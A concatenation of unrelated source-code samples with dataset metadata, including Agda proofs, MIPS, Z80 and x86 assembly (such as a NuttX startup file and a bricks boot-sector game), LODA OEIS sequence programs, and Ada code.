x₁ (comp-synth (gcomp-extend gc x₁ x₂) ec wt) comp-synth gc (ECFst ec) (SFst wt MPHole) = comp-synth gc ec wt comp-synth gc (ECFst ec) (SFst wt MPProd) = lem-comp-prod1 (comp-synth gc ec wt) comp-synth gc (ECSnd ec) (SSnd wt MPHole) = comp-synth gc ec wt comp-synth gc (ECSnd ec) (SSnd wt MPProd) = lem-comp-prod2 (comp-synth gc ec wt) comp-synth gc (ECPair ec ec₁) (SPair x wt wt₁) = TCProd (comp-synth gc ec wt) (comp-synth gc ec₁ wt₁) -- complete boxed values are just values lem-comp-boxed-val : {Δ : hctx} {d : iexp} {τ : typ} {Γ : tctx} → Δ , Γ ⊢ d :: τ → d dcomplete → d boxedval → d val lem-comp-boxed-val wt comp (BVVal VConst) = VConst lem-comp-boxed-val wt comp (BVVal VLam) = VLam lem-comp-boxed-val wt comp (BVVal (VPair x x₁)) = VPair x x₁ lem-comp-boxed-val (TAPair wt wt₁) (DCPair comp comp₁) (BVPair bv bv₁) = VPair (lem-comp-boxed-val wt comp bv) (lem-comp-boxed-val wt₁ comp₁ bv₁) lem-comp-boxed-val (TACast wt x₃) (DCCast comp x₁ x₂) (BVArrCast x bv) = abort (x (complete-consistency x₃ x₁ x₂)) lem-comp-boxed-val (TACast wt x₁) (DCCast comp x₂ x₃) (BVProdCast x bv) = abort (x (complete-consistency x₁ x₂ x₃)) lem-comp-boxed-val (TACast wt x₁) (DCCast comp x₂ ()) (BVHoleCast x bv)
asmFiles/example.asm
hythzz/MIPS-Processor
0
26357
<gh_stars>0 #------------------------------------------ # Originally Test and Set example by <NAME> # Modified to be LL and SC example by <NAME> #------------------------------------------ #---------------------------------------------------------- # First Processor #---------------------------------------------------------- org 0x0000 # first processor p0 ori $sp, $zero, 0x3ffc # stack jal mainp0 # go to program halt # pass in an address to lock function in argument register 0 # returns when lock is available lock: aquire: ll $t0, 0($a0) # load lock location bne $t0, $0, aquire # wait on lock to be open addiu $t0, $t0, 1 sc $t0, 0($a0) beq $t0, $0, lock # if sc failed retry jr $ra # pass in an address to unlock function in argument register 0 # returns when lock is free unlock: sw $0, 0($a0) jr $ra # main function does something ugly but demonstrates beautifully mainp0: push $ra # save return address ori $a0, $zero, l1 # move lock to arguement register jal lock # try to aquire the lock # critical code segment ori $t2, $zero, res lw $t0, 0($t2) addiu $t1, $t0, 2 sw $t1, 0($t2) # critical code segment ori $a0, $zero, l1 # move lock to arguement register jal unlock # release the lock pop $ra # get return address jr $ra # return to caller l1: cfw 0x0 #---------------------------------------------------------- # Second Processor #---------------------------------------------------------- org 0x200 # second processor p1 ori $sp, $zero, 0x7ffc # stack jal mainp1 # go to program halt # main function does something ugly but demonstrates beautifully mainp1: push $ra # save return address ori $a0, $zero, l1 # move lock to arguement register jal lock # try to aquire the lock # critical code segment ori $t2, $zero, res lw $t0, 0($t2) addiu $t1, $t0, 1 sw $t1, 0($t2) # critical code segment ori $a0, $zero, l1 # move lock to arguement register jal unlock # release the lock pop $ra # get return address jr $ra # return to caller res: cfw 0x0 # end result should be 3
Data/Nat/DivMod.agda
oisdk/agda-playground
6
14198
<filename>Data/Nat/DivMod.agda {-# OPTIONS --without-K --safe #-} module Data.Nat.DivMod where open import Data.Nat.Base open import Agda.Builtin.Nat as Nat open import Data.Bool nonZero : ℕ → Bool nonZero (suc _) = true nonZero zero = false infixl 8 _÷_ _÷_ : (n m : ℕ) → { m≢0 : T (nonZero m) } → ℕ _÷_ n (suc m) = Nat.div-helper 0 m n m rem : (n m : ℕ) → { m≢0 : T (nonZero m) } → ℕ rem n (suc m) = Nat.mod-helper 0 m n m even : ℕ → Bool even n = rem n 2 Nat.== 0
SoundOff/Release/SOff_GetUnicodeStringPointer.asm
txwizard/SoundOff
1
90256
<filename>SoundOff/Release/SOff_GetUnicodeStringPointer.asm ; Listing generated by Microsoft (R) Optimizing Compiler Version 18.00.31101.0 TITLE C:\Users\DAVE\Documents\Programming\Visual_Studio_6\EXE\Console\SoundOff\SoundOff\SOff_GetUnicodeStringPointer.C .686P .XMM include listing.inc .model flat INCLUDELIB OLDNAMES EXTRN __imp__LoadStringW@16:PROC EXTRN @__security_check_cookie@4:PROC PUBLIC _SOff_GetUnicodeStringPointer@12 ; Function compile flags: /Ogtp ; File c:\users\dave\documents\programming\visual_studio_6\exe\console\soundoff\soundoff\soff_getunicodestringpointer.c ; COMDAT _SOff_GetUnicodeStringPointer@12 _TEXT SEGMENT _lpTheString$ = -4 ; size = 4 _plpuintLength$dead$ = 8 ; size = 4 _SOff_GetUnicodeStringPointer@12 PROC ; COMDAT ; _phSourceModule$dead$ = ecx ; _puintStringID$ = edx ; 14 : { push ebp mov ebp, esp push ecx push esi ; 15 : LPTSTR lpTheString = NULL ; ; 16 : ; 17 : if ( plpuintLength ) ; 18 : { // The documented return value of LoadString excludes the trailing null. However, when nBufferMax = RCDATA_INPLACE_POINTER, it is included. ; 19 : if ( *plpuintLength = ( LoadString ( phSourceModule , // _in_ HMODULE hModule ; 20 : puintStringID , // _In_ UINT uID ; 21 : ( LPTSTR ) &lpTheString , // _Out_ LPTSTR lpBuffer ; 22 : RCDATA_INPLACE_POINTER ) // _In_ int nBufferMax ; 23 : - TRAILING_NULL_ALLOWANCE_P6C ) ) ; 24 : { // Have pointer, will return. ; 25 : return lpTheString ; ; 26 : } // if ( ( *plpuintLength = LoadString ( phSourceModule , puintStringID , ( LPTSTR ) &lpTheString , RCDATA_INPLACE_POINTER ) ) ) ; 27 : } // TRUE (Return the string length through the supplied pointer) block, if ( plpuintLength ) ; 28 : else ; 29 : { ; 30 : if ( LoadString ( phSourceModule , // _in_ HMODULE hModule ; 31 : puintStringID , // _In_ UINT uID ; 32 : ( LPTSTR ) &lpTheString , // _Out_ LPTSTR lpBuffer ; 33 : RCDATA_INPLACE_POINTER ) ) // _In_ int nBufferMax push 0 lea eax, DWORD PTR _lpTheString$[ebp] mov DWORD PTR _lpTheString$[ebp], 0 push eax mov esi, edx push esi push 0 call DWORD PTR __imp__LoadStringW@16 test eax, eax je SHORT $LN1@SOff_GetUn ; 34 : { // Have pointer, will return. ; 35 : return lpTheString ; mov eax, DWORD PTR _lpTheString$[ebp] pop esi ; 50 : } // SOff_GetUnicodeStringPointer mov esp, ebp pop ebp ret 4 $LN1@SOff_GetUn: ; 36 : } // if ( LoadString ( phSourceModule , puintStringID , ( LPTSTR ) &lpTheString , RCDATA_INPLACE_POINTER ) ) ; 37 : } // FALSE (The caller said that it doesn't need to know how long the string is.) block, if ( plpuintLength ) ; 38 : ; 39 : // ------------------------------------------------------------------------ ; 40 : // Make a report about the error retrievable through FB_GetlpErrMsgSprintf, ; 41 : // then return NULL (always NULL) to signal the caller to fetch the message ; 42 : // or do whatever else it wants about the load error. If the Structured ; 43 : // Exception Handling flag is enabled, this call won't actually return, ; 44 : // because raising the exception unwinds the stack. ; 45 : // ------------------------------------------------------------------------ ; 46 : ; 47 : return ( LPTSTR ) SOff_ReportLoadStringError ( phSourceModule , ; 48 : puintStringID , ; 49 : RCDATA_INPLACE_POINTER ) ; push ecx mov edx, esi call _SOff_ReportLoadStringError@12 pop esi ; 50 : } // SOff_GetUnicodeStringPointer mov esp, ebp pop ebp ret 4 _SOff_GetUnicodeStringPointer@12 ENDP _TEXT ENDS END
generated/natools-static_maps-web-comments-item_elements.adb
faelys/natools-web
1
28146
<filename>generated/natools-static_maps-web-comments-item_elements.adb with Interfaces; use Interfaces; package body Natools.Static_Maps.Web.Comments.Item_Elements is P : constant array (0 .. 0) of Natural := (0 .. 0 => 1); T1 : constant array (0 .. 0) of Unsigned_8 := (0 .. 0 => 2); T2 : constant array (0 .. 0) of Unsigned_8 := (0 .. 0 => 4); G : constant array (0 .. 6) of Unsigned_8 := (0, 0, 1, 0, 0, 0, 0); function Hash (S : String) return Natural is F : constant Natural := S'First - 1; L : constant Natural := S'Length; F1, F2 : Natural := 0; J : Natural; begin for K in P'Range loop exit when L < P (K); J := Character'Pos (S (P (K) + F)); F1 := (F1 + Natural (T1 (K)) * J) mod 7; F2 := (F2 + Natural (T2 (K)) * J) mod 7; end loop; return (Natural (G (F1)) + Natural (G (F2))) mod 2; end Hash; end Natools.Static_Maps.Web.Comments.Item_Elements;
programs/oeis/184/A184552.asm
karttu/loda
0
165424
<reponame>karttu/loda<gh_stars>0 ; A184552: Super-birthdays (falling on the same weekday), version 4 (birth in the year preceding a February 29). ; 0,5,11,22,28,33,39,50,56,61,67,78,84,89,95,106,112,117,123,134,140,145,151,162,168,173,179,190,196,201,207,218,224,229,235,246,252,257,263,274,280,285,291,302,308,313,319,330,336,341,347,358,364,369,375,386,392,397,403,414,420,425,431,442,448,453,459,470,476,481,487,498,504,509,515,526,532,537,543,554,560,565,571,582,588,593,599,610,616,621,627,638,644,649,655,666,672,677,683,694,700,705,711,722,728,733,739,750,756,761,767,778,784,789,795,806,812,817,823,834,840,845,851,862,868,873,879,890,896,901,907,918,924,929,935,946,952,957,963,974,980,985,991,1002,1008,1013,1019,1030,1036,1041,1047,1058,1064,1069,1075,1086,1092,1097,1103,1114,1120,1125,1131,1142,1148,1153,1159,1170,1176,1181,1187,1198,1204,1209,1215,1226,1232,1237,1243,1254,1260,1265,1271,1282,1288,1293,1299,1310,1316,1321,1327,1338,1344,1349,1355,1366,1372,1377,1383,1394,1400,1405,1411,1422,1428,1433,1439,1450,1456,1461,1467,1478,1484,1489,1495,1506,1512,1517,1523,1534,1540,1545,1551,1562,1568,1573,1579,1590,1596,1601,1607,1618,1624,1629,1635,1646,1652,1657,1663,1674,1680,1685,1691,1702,1708,1713,1719,1730,1736,1741 mov $2,$0 add $0,2 lpb $0,1 trn $0,2 trn $1,$0 trn $0,1 add $1,$0 trn $0,1 add $1,5 lpe lpb $2,1 add $1,5 sub $2,1 lpe sub $1,5
programs/oeis/190/A190576.asm
neoneye/loda
22
22622
<reponame>neoneye/loda ; A190576: a(n) = n^2 + 5*n - 5. ; 1,9,19,31,45,61,79,99,121,145,171,199,229,261,295,331,369,409,451,495,541,589,639,691,745,801,859,919,981,1045,1111,1179,1249,1321,1395,1471,1549,1629,1711,1795,1881,1969,2059,2151,2245,2341,2439,2539,2641,2745,2851,2959,3069,3181,3295,3411,3529,3649,3771,3895,4021,4149,4279,4411,4545,4681,4819,4959,5101,5245,5391,5539,5689,5841,5995,6151,6309,6469,6631,6795,6961,7129,7299,7471,7645,7821,7999,8179,8361,8545,8731,8919,9109,9301,9495,9691,9889,10089,10291,10495 mov $1,$0 add $1,7 mul $0,$1 add $0,1
oeis/137/A137591.asm
neoneye/loda-programs
11
1990
; A137591: Number of parenthesizings of products formed by n factors assuming nonassociativity and partial commutativity: individual factors commute, but bracketed expressions don't commute with anything. ; Submitted by <NAME>(s4) ; 1,1,6,54,660,10260,194040,4326840,111177360,3234848400,105135861600,3775206204000,148426878600000,6341634955656000,292576856395824000,14496220038251952000,767691210706291872000,43274547687106768032000,2587028200730649643968000,163484729048197101504960000,10889148561233306173729920000,762449368240669819244895360000,55988194934812295022178671360000,4302411454412619506605511504640000,345303142863624450077497404480000000,28891934828060683674998407408704000000 mov $1,1 mov $2,1 lpb $0 sub $0,1 mul $1,$0 add $2,$1 mul $1,2 add $1,$2 mul $2,$0 add $2,$1 lpe mov $0,$1
oeis/338/A338882.asm
neoneye/loda-programs
11
88922
<filename>oeis/338/A338882.asm ; A338882: Product of the nonzero digits of (n written in base 9). ; 1,1,2,3,4,5,6,7,8,1,1,2,3,4,5,6,7,8,2,2,4,6,8,10,12,14,16,3,3,6,9,12,15,18,21,24,4,4,8,12,16,20,24,28,32,5,5,10,15,20,25,30,35,40,6,6,12,18,24,30,36,42,48,7,7,14,21,28,35,42,49,56,8,8,16,24,32,40,48,56,64 mov $1,8 lpb $0 mov $2,$0 div $0,9 mod $2,9 mov $3,$2 cmp $3,0 add $2,$3 mul $1,$2 lpe div $1,8 mov $0,$1
oeis/027/A027976.asm
neoneye/loda-programs
11
244406
<gh_stars>10-100 ; A027976: n-th diagonal sum of right justified array T given by A027960. ; 1,1,4,6,10,18,29,47,78,126,204,332,537,869,1408,2278,3686,5966,9653,15619,25274,40894,66168,107064,173233,280297,453532,733830,1187362,1921194,3108557,5029751,8138310,13168062,21306372,34474436,55780809,90255245,146036056,236291302,382327358,618618662,1000946021,1619564683,2620510706,4240075390,6860586096,11100661488,17961247585,29061909073,47023156660,76085065734,123108222394,199193288130,322301510525,521494798655,843796309182,1365291107838,2209087417020,3574378524860,5783465941881 mov $3,2 mov $5,$0 lpb $3 mov $0,$5 sub $3,1 add $0,$3 add $0,1 seq $0,192981 ; Constant term of the reduction by x^2 -> x+1 of the polynomial p(n,x) defined at Comments. div $0,2 mov $2,$3 mov $4,$0 lpb $2 mov $1,$4 sub $2,1 lpe lpe lpb $5 sub $1,$4 mov $5,0 lpe mov $0,$1
programs/oeis/115/A115302.asm
karttu/loda
0
10045
; A115302: Permutation of natural numbers generated by 3-rowed array shown below. ; 1,4,2,7,5,3,10,8,6,13,11,9,16,14,12,19,17,15,22,20,18,25,23,21,28,26,24,31,29,27,34,32,30,37,35,33,40,38,36,43,41,39,46,44,42,49,47,45,52,50,48,55,53,51,58,56,54,61,59,57,64,62,60 lpb $0,1 add $2,1 mov $3,$0 sub $0,1 trn $0,$2 add $1,3 mov $2,1 lpe sub $1,$3 add $1,$2 mov $2,$3 trn $2,1 sub $1,$2 add $1,1
configs/xtrs/src/xtrs_head.asm
liuweisword/Nuttx
15
10267
;************************************************************************** ; configs/xtrs/src/xtrs_head.asm ; ; Copyright (C) 2008-2009, 2012 <NAME>. All rights reserved. ; Author: <NAME> <<EMAIL>> ; ; Redistribution and use in source and binary forms, with or without ; modification, are permitted provided that the following conditions ; are met: ; ; 1. Redistributions of source code must retain the above copyright ; notice, this list of conditions and the following disclaimer. ; 2. Redistributions in binary form must reproduce the above copyright ; notice, this list of conditions and the following disclaimer in ; the documentation and/or other materials provided with the ; distribution. ; 3. Neither the name NuttX nor the names of its contributors may be ; used to endorse or promote products derived from this software ; without specific prior written permission. ; ; THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS ; "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT ; LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS ; FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE ; COPYRIGHT OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, ; INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, ; BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS ; OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED ; AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT ; LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ; ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE ; POSSIBILITY OF SUCH DAMAGE. ; ;************************************************************************** .title NuttX for the Z80 .module xtrs_head ;************************************************************************** ; Constants ;************************************************************************** ; Register save area layout XCPT_I == 0 ; Offset 0: Saved I w/interrupt state in parity XCPT_BC == 2 ; Offset 1: Saved BC register XCPT_DE == 4 ; Offset 2: Saved DE register XCPT_IX == 6 ; Offset 3: Saved IX register XCPT_IY == 8 ; Offset 4: Saved IY register XCPT_SP == 10 ; Offset 5: Offset to SP at time of interrupt XCPT_HL == 12 ; Offset 6: Saved HL register XCPT_AF == 14 ; Offset 7: Saved AF register XCPT_PC == 16 ; Offset 8: Offset to PC at time of interrupt ; Default stack base (needs to be fixed) .include "asm_mem.h" ;************************************************************************** ; Global symbols used ;************************************************************************** .globl _os_start ; OS entry point .globl _up_doirq ; Interrupt decoding logic ;************************************************************************** ; System start logic ;************************************************************************** _up_reset: ; Set up the stack pointer at the location determined the Makefile ; and stored in asm_mem.h ld SP, #CONFIG_STACK_END ; Set stack pointer ; Performed initialization unique to the SDCC toolchain call gsinit ; Initialize the data section ; Copy the reset vectors ld hl, #_up_rstvectors ; code for RAM ld de, #0x4000 ; move it here ld bc, #3*7 ; 7 vectors / 3 bytes each ldir ; Then start NuttX call _os_start ; jump to the OS entry point ; NuttX will never return, but just in case... _up_halt:: halt ; We should never get here jp _up_halt ; Data to copy to address 0x4000 _up_rstvectors: jp _up_rst1 ; 0x4000 : RST 1 jp _up_rst2 ; 0x4003 : RST 2 jp _up_rst3 ; 0x4006 : RST 3 jp _up_rst4 ; 0x4009 : RST 4 jp _up_rst5 ; 0x400c : RST 5 jp _up_rst6 ; 0x400f : RST 6 jp _up_rst7 ; 0x4012 : RST 7 ;************************************************************************** ; Other reset handlers ; ; Interrupt mode 1 behavior: ; ; 1. M1 cycle: 7 ticks ; Acknowledge interrupt and decrements SP ; 2. M2 cycle: 3 ticks ; Writes the MS byte of the PC onto the stack and decrements SP ; 3. M3 cycle: 3 ticks ; Writes the LS byte of the PC onto the stack and sets the PC to 0x0038. ; ;************************************************************************** _up_rst1: ; RST 1 ; Save AF on the stack, set the interrupt number and jump to the ; common reset handling logic. ; Offset 8: Return PC is already on the stack push af ; Offset 7: AF (retaining flags) ld a, #1 ; 1 = Z80_RST1 jr _up_rstcommon ; Remaining RST handling is common _up_rst2: ; RST 2 ; Save AF on the stack, set the interrupt number and jump to the ; common reset handling logic. ; Offset 8: Return PC is already on the stack push af ; Offset 7: AF (retaining flags) ld a, #2 ; 2 = Z80_RST2 jr _up_rstcommon ; Remaining RST handling is common _up_rst3: ; RST 3 ; Save AF on the stack, set the interrupt number and jump to the ; common reset handling logic. ; Offset 8: Return PC is already on the stack push af ; Offset 7: AF (retaining flags) ld a, #3 ; 1 = Z80_RST3 jr _up_rstcommon ; Remaining RST handling is common _up_rst4: ; RST 4 ; Save AF on the stack, set the interrupt number and jump to the ; common reset handling logic. ; Offset 8: Return PC is already on the stack push af ; Offset 7: AF (retaining flags) ld a, #4 ; 1 = Z80_RST4 jr _up_rstcommon ; Remaining RST handling is common _up_rst5: ; RST 5 ; Save AF on the stack, set the interrupt number and jump to the ; common reset handling logic. ; Offset 8: Return PC is already on the stack push af ; Offset 7: AF (retaining flags) ld a, #5 ; 1 = Z80_RST5 jr _up_rstcommon ; Remaining RST handling is common _up_rst6: ; RST 6 ; Save AF on the stack, set the interrupt number and jump to the ; common reset handling logic. ; Offset 8: Return PC is already on the stack push af ; Offset 7: AF (retaining flags) ld a, #6 ; 1 = Z80_RST6 jr _up_rstcommon ; Remaining RST handling is common _up_rst7: ; RST 7 ; Save AF on the stack, set the interrupt number and jump to the ; common reset handling logic. ; Offset 8: Return PC is already on the stack push af ; Offset 7: AF (retaining flags) ld a, #7 ; 7 = Z80_RST7 jr _up_rstcommon ; Remaining RST handling is common ;************************************************************************** ; Common Interrupt handler ;************************************************************************** _up_rstcommon: ; Create a register frame. SP points to top of frame + 4, pushes ; decrement the stack pointer. Already have ; ; Offset 8: Return PC is already on the stack ; Offset 7: AF (retaining flags) ; ; IRQ number is in A push hl ; Offset 6: HL ld hl, #(3*2) ; HL is the value of the stack pointer before add hl, sp ; the interrupt occurred push hl ; Offset 5: Stack pointer push iy ; Offset 4: IY push ix ; Offset 3: IX push de ; Offset 2: DE push bc ; Offset 1: BC ld b, a ; Save the reset number in B ld a, i ; Parity bit holds interrupt state push af ; Offset 0: I with interrupt state in parity di ; Call the interrupt decode logic. SP points to the beggining of the reg structure ld hl, #0 ; Argument #2 is the beginning of the reg structure add hl, sp ; push hl ; Place argument #2 at the top of stack push bc ; Argument #1 is the Reset number inc sp ; (make byte sized) call _up_doirq ; Decode the IRQ ; On return, HL points to the beginning of the reg structure to restore ; Note that (1) the arguments pushed on the stack are not popped, and (2) the ; original stack pointer is lost. In the normal case (no context switch), ; HL will contain the value of the SP before the arguments wer pushed. ld sp, hl ; Use the new stack pointer ; Restore registers. HL points to the beginning of the reg structure to restore ex af, af' ; Select alternate AF pop af ; Offset 0: AF' = I with interrupt state in parity ex af, af' ; Restore original AF pop bc ; Offset 1: BC pop de ; Offset 2: DE pop ix ; Offset 3: IX pop iy ; Offset 4: IY exx ; Use alternate BC/DE/HL ld hl, #-2 ; Offset of SP to account for ret addr on stack pop de ; Offset 5: HL' = Stack pointer after return add hl, de ; HL = Stack pointer value before return exx ; Restore original BC/DE/HL pop hl ; Offset 6: HL pop af ; Offset 7: AF ; Restore the stack pointer exx ; Use alternate BC/DE/HL ld sp, hl ; Set SP = saved stack pointer value before return exx ; Restore original BC/DE/HL ; Restore interrupt state ex af, af' ; Recover interrupt state jp po, nointenable ; Odd parity, IFF2=0, means disabled ex af, af' ; Restore AF (before enabling interrupts) ei ; yes reti nointenable:: ex af, af' ; Restore AF reti ;************************************************************************** ; Ordering of segments for the linker (SDCC only) ;************************************************************************** .area _HOME .area _CODE .area _INITIALIZER .area _GSINIT .area _GSFINAL .area _DATA .area _INITIALIZED .area _BSEG .area _BSS .area _HEAP ;************************************************************************** ; Global data initialization logic (SDCC only) ;************************************************************************** .area _GSINIT gsinit:: ld bc, #l__INITIALIZER ld a, b or a, c jr Z, gsinit_next ld de, #s__INITIALIZED ld hl, #s__INITIALIZER ldir gsinit_next: .area _GSFINAL ret ;************************************************************************** ; The start of the heap (SDCC only). Note that is actually resides in ; the _CODE area (which may be FLASH or ROM) ;************************************************************************** .area _CODE _g_heapbase:: .dw #s__HEAP
lib/space_image_format.adb
jweese/Ada_Vent_19
1
29935
<reponame>jweese/Ada_Vent_19 with Ada.Text_IO; package body Space_Image_Format is procedure Get_Pixel(P: out Pixel) is C: Character; begin Ada.Text_IO.Get(C); P := Pixel(C); end Get_Pixel; procedure Get_Layer(L: out Layer) is begin for Row in Height_Range loop for Col in Width_Range loop Get_Pixel(L(Col, Row)); end loop; end loop; end Get_Layer; type Color_Stack is array (Positive range <>) of Color; function To_Color(P: Pixel) return Color is (case P is when '0' => Black, when '1' => White, when '2' => Transparent, when others => raise Constraint_Error); function Get_Stack( LS: Layer_Stack; W: Width_Range; H: Height_Range) return Color_Stack is Result: Color_Stack(LS'Range); begin for I in LS'Range loop Result(I) := To_Color(LS(I)(W, H)); end loop; return Result; end Get_Stack; function Visible(CS: Color_Stack) return Visible_Color is begin for C of CS loop if C in Visible_Color'Range then return C; end if; end loop; raise Constraint_Error; end Visible; function To_Image(S: Layer_Stack) return Image is Result: Image; begin for Row in Height_Range loop for Col in Width_Range loop Result(Col, Row) := Visible(Get_Stack(S, Col, Row)); end loop; end loop; return Result; end To_Image; procedure Put_Image(I: in Image) is function Render(VC: Visible_Color) return Character is (case VC is when Black => ' ', when White => 'X'); Line: String(1 .. Width); begin for Row in Height_Range loop for Col in Width_Range loop Line(Width_Range'Pos(Col)) := Render(I(Col, Row)); end loop; Ada.Text_IO.Put_Line(Line); end loop; end Put_Image; end Space_Image_Format;
src/fot/FOTC/Data/Nat/List/PropertiesI.agda
asr/fotc
11
8616
<reponame>asr/fotc<gh_stars>10-100 ------------------------------------------------------------------------------ -- Properties related with lists of natural numbers ------------------------------------------------------------------------------ {-# OPTIONS --exact-split #-} {-# OPTIONS --no-sized-types #-} {-# OPTIONS --no-universe-polymorphism #-} {-# OPTIONS --without-K #-} module FOTC.Data.Nat.List.PropertiesI where open import FOTC.Base open import FOTC.Data.Nat open import FOTC.Data.Nat.List open import FOTC.Data.List ------------------------------------------------------------------------------ -- See the ATP version. postulate ++-ListN : ∀ {ms ns} → ListN ms → ListN ns → ListN (ms ++ ns) map-ListN : ∀ f {ns} → (∀ {n} → N n → N (f · n)) → ListN ns → ListN (map f ns) map-ListN f h lnnil = subst ListN (sym (map-[] f)) lnnil map-ListN f h (lncons {n} {ns} Nn Lns) = subst ListN (sym (map-∷ f n ns)) (lncons (h Nn) (map-ListN f h Lns))
Examples/example3.asm
vbguyny/Developing-for-the-Commodore-64
0
176430
<reponame>vbguyny/Developing-for-the-Commodore-64<filename>Examples/example3.asm ; 10 SYS (2064) *=$0810 chout = $ffd2 ; Kernal character output sub main ldx #<string ; String address least significant byte (LSB) stx @loop+1 ; Save string pointer LSB ldx #>string ; String address most significant byte (MSB) stx @loop+2 ; Save string pointer MSB ldy #0 ; Starting string index @loop lda $1000,y ; Get a character beq @done ; End of string jsr chout ; Print character iny ; Next bne @loop @done rts ; Exit string byte "hello world!", $00
Cubical/Algebra/AbGroup/Instances/DirectSumFun.agda
thomas-lamiaux/cubical
0
15012
<gh_stars>0 {-# OPTIONS --safe #-} module Cubical.Algebra.AbGroup.Instances.DirectSumFun where open import Cubical.Foundations.Prelude open import Cubical.Data.Nat open import Cubical.Algebra.AbGroup open import Cubical.Algebra.DirectSum.DirectSumFun.Base open import Cubical.Algebra.DirectSum.DirectSumFun.Properties private variable ℓ : Level module _ (G : (n : ℕ) → Type ℓ) (Gstr : (n : ℕ) → AbGroupStr (G n)) where open AbGroupStr open DSF-properties G Gstr ⊕Fun-AbGr : AbGroup ℓ fst ⊕Fun-AbGr = ⊕Fun G Gstr 0g (snd ⊕Fun-AbGr) = 0⊕Fun AbGroupStr._+_ (snd ⊕Fun-AbGr) = _+⊕Fun_ - snd ⊕Fun-AbGr = Inv⊕Fun isAbGroup (snd ⊕Fun-AbGr) = makeIsAbGroup isSet⊕Fun +⊕FunAssoc +⊕FunRid +⊕FunInvR +⊕FunComm
test/bricks.asm
humbertocsjr/tinyasm
176
88710
; ; Bricks game in one boot sector ; ; by <NAME>. ; ; Creation date: Nov/02/2019. ; cpu 8086 ; ; Press Left Shift to start the game ; Press Left Ctrl to move the paddle to left ; Press Left Alt to move the paddle to right ; %ifdef com_file org 0x0100 %else org 0x7c00 %endif old_time: equ 16 ; Old time ball_x: equ 14 ; X-coordinate of ball (8.8 fraction) ball_y: equ 12 ; Y-coordinate of ball (8.8 fraction) ball_xs: equ 10 ; X-speed of ball (8.8 fraction) ball_ys: equ 8 ; Y-speed of ball (8.8 fraction) beep: equ 6 ; Frame count to turn off sound bricks: equ 4 ; Remaining bricks balls: equ 2 ; Remaining balls score: equ 0 ; Current score ; ; Start of the game ; start: mov ax,0x0002 ; Text mode 80x25x16 colors int 0x10 ; Setup mov ax,0xb800 ; Address of video screen mov ds,ax ; Setup DS mov es,ax ; Setup ES sub sp,32 xor ax,ax push ax ; Reset score mov al,4 push ax ; Balls remaining mov bp,sp ; Setup stack frame for globals ; ; Start another level ; another_level: mov word [bp+bricks],273 ; 273 bricks on screen xor di,di mov ax,0x01b1 ; Draw top border mov cx,80 cld rep stosw mov cl,24 ; 24 rows .1: stosw ; Draw left border mov ax,0x20 ; No bricks on this row push cx cmp cl,23 jnb .2 sub cl,15 jbe .2 mov al,0xdb ; Bricks on this row mov ah,cl .2: mov cl,39 ; 39 bricks per row .3: stosw stosw inc ah ; Increase attribute color cmp ah,0x08 jne .4 mov ah,0x01 .4: loop .3 pop cx mov ax,0x01b1 ; Draw right border stosw loop .1 ; ; Start another ball ; mov di,0x0f4a ; Position of paddle another_ball: mov byte [bp+ball_x+1],0x28 ; Center X mov byte [bp+ball_y+1],0x14 ; Center Y xor ax,ax mov [bp+ball_xs],ax ; Static on screen mov [bp+ball_ys],ax mov byte [bp+beep],0x01 mov si,0x0ffe ; Don't erase ball yet game_loop: call wait_frame ; Wait 1/18.2 secs. mov word [si],0x0000 ; Erase ball call update_score ; Update score mov ah,0x02 ; Read modifier keys int 0x16 test al,0x04 ; Left ctrl je .1 mov byte [di+6],0 ; Erase right side of paddle mov byte [di+8],0 sub di,byte 4 ; Move paddle to left cmp di,0x0f02 ; Limit ja .1 mov di,0x0f02 .1: test al,0x08 ; Left alt je .2 xor ax,ax ; Erase left side of paddle stosw stosw ; DI increased automatically cmp di,0x0f94 ; Limit jb .2 mov di,0x0f94 .2: test al,0x02 ; Left shift je .15 mov ax,[bp+ball_xs] ; Ball moving? add ax,[bp+ball_ys] jne .15 ; Yes, jump ; Setup movement of ball mov word [bp+ball_xs],0xff40 mov word [bp+ball_ys],0xff80 .15: mov ax,0x0adf ; Paddle graphic and color push di stosw ; Draw paddle stosw stosw stosw stosw pop di mov bx,[bp+ball_x] ; Draw ball mov ax,[bp+ball_y] call locate_ball ; Locate on screen test byte [bp+ball_y],0x80 ; Y-coordinate half fraction? mov ah,0x60 ; Interchange colors for smooth mov. je .12 mov ah,0x06 .12: mov al,0xdc ; Graphic mov [bx],ax ; Draw push bx pop si .14: mov bx,[bp+ball_x] ; Ball position mov ax,[bp+ball_y] add bx,[bp+ball_xs] ; Add movement speed add ax,[bp+ball_ys] push ax push bx call locate_ball ; Locate on screen mov al,[bx] cmp al,0xb1 ; Touching borders jne .3 mov cx,5423 ; 1193180 / 220 call speaker ; Generate sound pop bx pop ax cmp bh,0x4f je .8 test bh,bh jne .7 .8: neg word [bp+ball_xs] ; Negate X-speed if touches sides .7: test ah,ah jnz .9 neg word [bp+ball_ys] ; Negate Y-speed if touches sides .9: jmp .14 .3: cmp al,0xdf ; Touching paddle jne .4 sub bx,di ; Subtract paddle position sub bx,byte 4 mov cl,6 ; Multiply by 64 shl bx,cl mov [bp+ball_xs],bx ; New X speed for ball mov word [bp+ball_ys],0xff80 ; Update Y speed for ball mov cx,2711 ; 1193180 / 440 call speaker ; Generate sound pop bx pop ax jmp .14 .4: cmp al,0xdb ; Touching brick jne .5 mov cx,1355 ; 1193180 / 880 call speaker ; Generate sound test bl,2 ; Aligned with brick? jne .10 ; Yes, jump dec bx ; Align dec bx .10: xor ax,ax ; Erase brick mov [bx],ax mov [bx+2],ax inc word [bp+score] ; Increase score neg word [bp+ball_ys] ; Negate Y speed (rebound) pop bx pop ax dec word 